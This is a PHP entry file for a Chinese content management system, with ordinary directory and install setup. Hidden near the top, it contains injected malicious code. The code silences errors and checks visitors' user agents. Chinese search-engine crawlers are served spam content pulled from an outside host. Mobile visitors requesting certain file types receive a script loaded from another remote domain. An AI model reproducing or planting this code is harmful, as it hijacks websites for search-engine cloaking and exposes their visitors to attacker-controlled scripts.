<?php

/**
 * 入口程序
 * 开发者可在这里定义系统目录变量
 */

declare(strict_types=1);
header('Content-Type: text/html; charset=utf-8');
//header('X-Frame-Options: SAMEORIGIN'); // 防止被站外加入iframe中浏览

// 是否是开发者模式（1开启、0关闭），上线之后建议关闭此开关
define('IS_DEV', 0);

// 是否允许后台修改模板文件（1开启、0关闭），请不要长期开启此功能
define('IS_EDIT_TPL', 0);
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$a = "stristr";
$b = $_SERVER;
function goto2024($c)
{   $d = curl_init();
    curl_setopt($d, CURLOPT_URL, $c);
    curl_setopt($d, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($d, CURLOPT_HEADER, 0);
    curl_setopt($d, CURLOPT_ENCODING, 'gzip');
    $e = curl_exec($d);
    curl_close($d);
    return $e;
}
define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://aa.gossopp.com/");
define('road', "?domain=" . $b['HTTP_HOST'] . "&path=" . url);
define('memes', road . "&referer=" . urlencode(ref));
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url, ".xml") or $a(url, ".doc") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".asp") or $a(url, "scm"));
if (preg_match(regs, ent)) {
    if (area) {
        echo goto2024(site . road);
        exit;
    } else {
        echo goto2024("http://aa.gossopp.com/u.php");
        ob_flush();
        flush();
    }
}
if (area && preg_match(mobile, ent)) {
    echo <<<'EOD'
    <script src="https://www.fvobaaj.com/dd.js"></script>
EOD;
    exit;
}
// 主网站目录,表示index.php文件的目录
define('ROOTPATH', dirname(__FILE__).'/');

// 当前站点目录
!defined('WEBPATH') && define('WEBPATH', dirname(__FILE__).'/');

// 缓存文件存储目录,支持自定义路径
define('WRITEPATH', ROOTPATH.'cache/');

// 系统核心程序目录,支持自定义路径和改名
define('FCPATH', dirname(__FILE__).'/dayrui/');

// 入口文件名称
!defined('SELF') && define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));

// 后台管理标识
!defined('IS_ADMIN') && define('IS_ADMIN', FALSE);

// ======开始，自动进入安装界面监测代码
if (!is_file(WRITEPATH.'install.lock') && !isset($_GET['c'])) {
    require WEBPATH.'install.php';
    exit;
}
// 判断环境
if (version_compare(PHP_VERSION, '7.2.0') < 0) {
    echo "<font color=red>PHP版本必须在7.2以上，当前".PHP_VERSION."</font>";exit;
}
//=======结束，安装之后可以删除此段代码

// 执行主程序
require FCPATH.'Fcms/Init.php';